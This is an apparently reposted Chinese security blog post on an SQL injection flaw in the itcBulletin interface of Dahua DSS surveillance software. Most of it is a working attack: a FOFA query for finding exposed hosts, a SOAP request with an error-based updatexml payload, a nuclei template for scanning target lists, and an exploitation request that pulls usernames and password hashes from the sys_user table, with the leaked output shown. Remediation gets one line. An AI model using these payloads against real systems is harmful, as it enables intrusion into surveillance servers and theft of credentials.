大华 DSS SQL 注入漏洞(附exp)

admin 2023年12月20日14:05:26评论150 views字数 3968阅读13分13秒阅读模式


使


福利:小编整理了大量电子书和护网常用工具,在文末免费获取。


01

漏洞名称



大华 DSS itcBulletin SQL 注入漏洞


02


漏洞影响


大华 DSS

大华 DSS SQL 注入漏洞(附exp)



03


漏洞描述


华DSS数字监控系统itcBulletin接口存在SQL注入漏洞,攻击者可以利用该漏洞获取数据库敏感信息。


04


FOFA搜索语句

app="dahua-DSS"

大华 DSS SQL 注入漏洞(附exp)


05


漏洞复现


向靶场发送如下数据包,计算md5(102103122)

POST /portal/services/itcBulletin?wsdl HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeContent-Length: 345Accept-Encoding: gzip
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'> <s11:Body> <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'> <netMarkings> (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1 </netMarkings> </ns1:deleteBulletin> </s11:Body></s11:Envelope>

响应内容如下

HTTP/1.1 500 Internal Server ErrorConnection: closeContent-Length: 581Content-Type: text/xml;charset=ISO-8859-1Date: Tue, 19 Dec 2023 10:13:48 GMTServer: Apache-Coyote/1.1
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>PreparedStatementCallback; uncategorized SQLException for SQL [select t.* from C_BULLETIN t where t.NETMARKING in ( (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1 ) ]; SQL state [HY000]; error code [1105]; XPATH syntax error: '~6cfe798ba8e5b85feb50164c59f4bec'; nested exception is java.sql.SQLException: XPATH syntax error: '~6cfe798ba8e5b85feb50164c59f4bec'</faultstring></soap:Fault></soap:Body></soap:Envelope>

响应数据包中包含6cfe798ba8e5b85feb50164c59f4bec

漏洞复现成功



06


nuclei poc


poc文件内容如下

id: dahua-dss-itcBulletin-sqliinfo:  name: 大华DSS itcBulletin SQL注入漏洞  author: fgz  severity: high  description: 大华DSS数字监控系统itcBulletin接口存在SQL注入漏洞,攻击者可以利用该漏洞获取数据库敏感信息。  metadata:    fofa-query: app="dahua-DSS"
requests: - raw: - |+ POST /portal/services/itcBulletin?wsdl HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 <s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'> <s11:Body> <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'> <netMarkings> (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1 </netMarkings> </ns1:deleteBulletin> </s11:Body> </s11:Envelope>
matchers-condition: and matchers: - type: dsl dsl: - 'status_code==500 && contains(body,"error code [1105]") && contains(body,"6cfe798ba8e5b85feb50164c59f4bec")'

运行POC

.nuclei.exe -t dahua-dss-itcBulletin-sqli.yaml  -l dahua-dss.txt

大华 DSS SQL 注入漏洞(附exp)


07


漏洞利用


利用漏洞获取系统的用户名密码,将poc中的md5()函数替换成SQL语句即可

POST /portal/services/itcBulletin?wsdl HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Accept-Encoding: gzip <s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>  <s11:Body>    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>      <netMarkings>        (updatexml(1,concat(0x7e,(select substr(group_concat(login_name, " ",login_pass),1,30) from sys_user),0x7e),1))) and (1=1      </netMarkings>    </ns1:deleteBulletin>  </s11:Body></s11:Envelope>

响应数据包如下

HTTP/1.1 500 Internal Server ErrorConnection: closeContent-Length: 643Content-Type: text/xml;charset=ISO-8859-1Date: Tue, 19 Dec 2023 11:46:52 GMTServer: Apache-Coyote/1.1
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>PreparedStatementCallback; uncategorized SQLException for SQL [select t.* from C_BULLETIN t where t.NETMARKING in ( (updatexml(1,concat(0x7e,(select substr(group_concat(login_name, " ",login_pass),1,30) from sys_user),0x7e),1))) and (1=1) ]; SQL state [HY000]; error code [1105]; XPATH syntax error: '~system 8e173a7bb9ec8156d772cf4~'; nested exception is java.sql.SQLException: XPATH syntax error: '~system 8e173a7bb9ec8156d772cf4~'</faultstring></soap:Fault></soap:Body></soap:Envelope>


其中system为用户名 8e173a7bb9ec8156d772cf4为密码的MD5


07


修复建议


升级到最新版本或者部署WAF进行防护。



08


福利领取


关注公众号,在公众号主页点发消息发送关键字免费领取。

后台发送【工具】获取渗透工具包

大华 DSS SQL 注入漏洞(附exp)


后台发送【电子书】获取电子书资源包

大华 DSS SQL 注入漏洞(附exp)



原文始发于微信公众号(AI与网安):大华 DSS SQL 注入漏洞(附exp)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日14:05:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大华 DSS SQL 注入漏洞(附exp)http://cn-sec.com/archives/2319642.html

发表评论

匿名网友 填写信息